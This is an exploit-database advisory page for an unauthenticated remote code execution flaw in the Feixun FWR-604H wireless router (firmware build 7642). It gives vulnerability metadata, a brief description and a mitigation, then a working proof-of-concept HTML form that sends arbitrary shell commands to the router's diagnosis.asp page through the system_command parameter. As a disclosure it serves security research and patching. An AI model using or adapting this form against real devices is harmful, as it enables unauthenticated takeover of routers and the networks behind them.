Feixun FWR-604H Wireless Router Remote Code Execution

vendor:

FWR-604H

by:

Arash Abedian

9,3

CVSS

HIGH

Remote Code Execution

CWE

Product Name: FWR-604H

Affected Version From: Hardware Version 1.0, Firmware Build: 7642

Affected Version To: Hardware Version 1.0, Firmware Build: 7642

Patch Exists: NO

Related CWE: N/A

CPE: h:feixun:fwr-604h

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: None

2014

Feixun FWR-604H Wireless Router Remote Code Execution

Feixun FWR-604H 150Mbps Wireless N Router is vulnerable to Remote Code Execution vulnerability(Hardware Version 1.0, Firmware Build: 7642, Vendor website:feixun.com.cn). The web server don't authenticate user prior to system level execution. As such an unauthenticated attacker can easily remotely exploit the target using system_command parameter in diagnosis.asp file.

Mitigation:

Authenticate user prior to system level execution.

Source

Exploit-DB raw data:

# Exploit Title: [Feixun FWR-604H Wireless Router Remote Code Execution]
# Date: [2014-01-09]
# Exploit Author: [Arash Abedian
(http://www.exploit-db.com/author/?a=6187<http://www.exploit-db.com/author/?a=6187)>
)
# Vendor Homepage: [http://feixun.com.cn]
# Version: [Hardware Version 1.0, Firmware Build: 7642]
# Tested on: [Hardware Version 1.0, Firmware Build: 7642]
# Vulnerability Details:
Feixun FWR-604H 150Mbps Wireless N Router is vulnerable to Remote Code
Execution vulnerability(Hardware Version 1.0, Firmware Build: 7642, Vendor
website:feixun.com.cn). The web server don't authenticate user prior to
system level execution. As such an unauthenticated attacker can easily
remotely exploit the target using system_command parameter in diagnosis.asp
file.

<html>
<body>
Exploit Feixun FWR-604H
<FORM ACTION="http://192.168.1.1/diagnosis.asp" METHOD=POST>
<input type="hidden" name="doType" value="2">
Command: <input type="text" name="system_command">
<input type="hidden" name="diagnosisResult" value="">
<input type="submit" value="Exploit">
</FORM>
</body>
</html>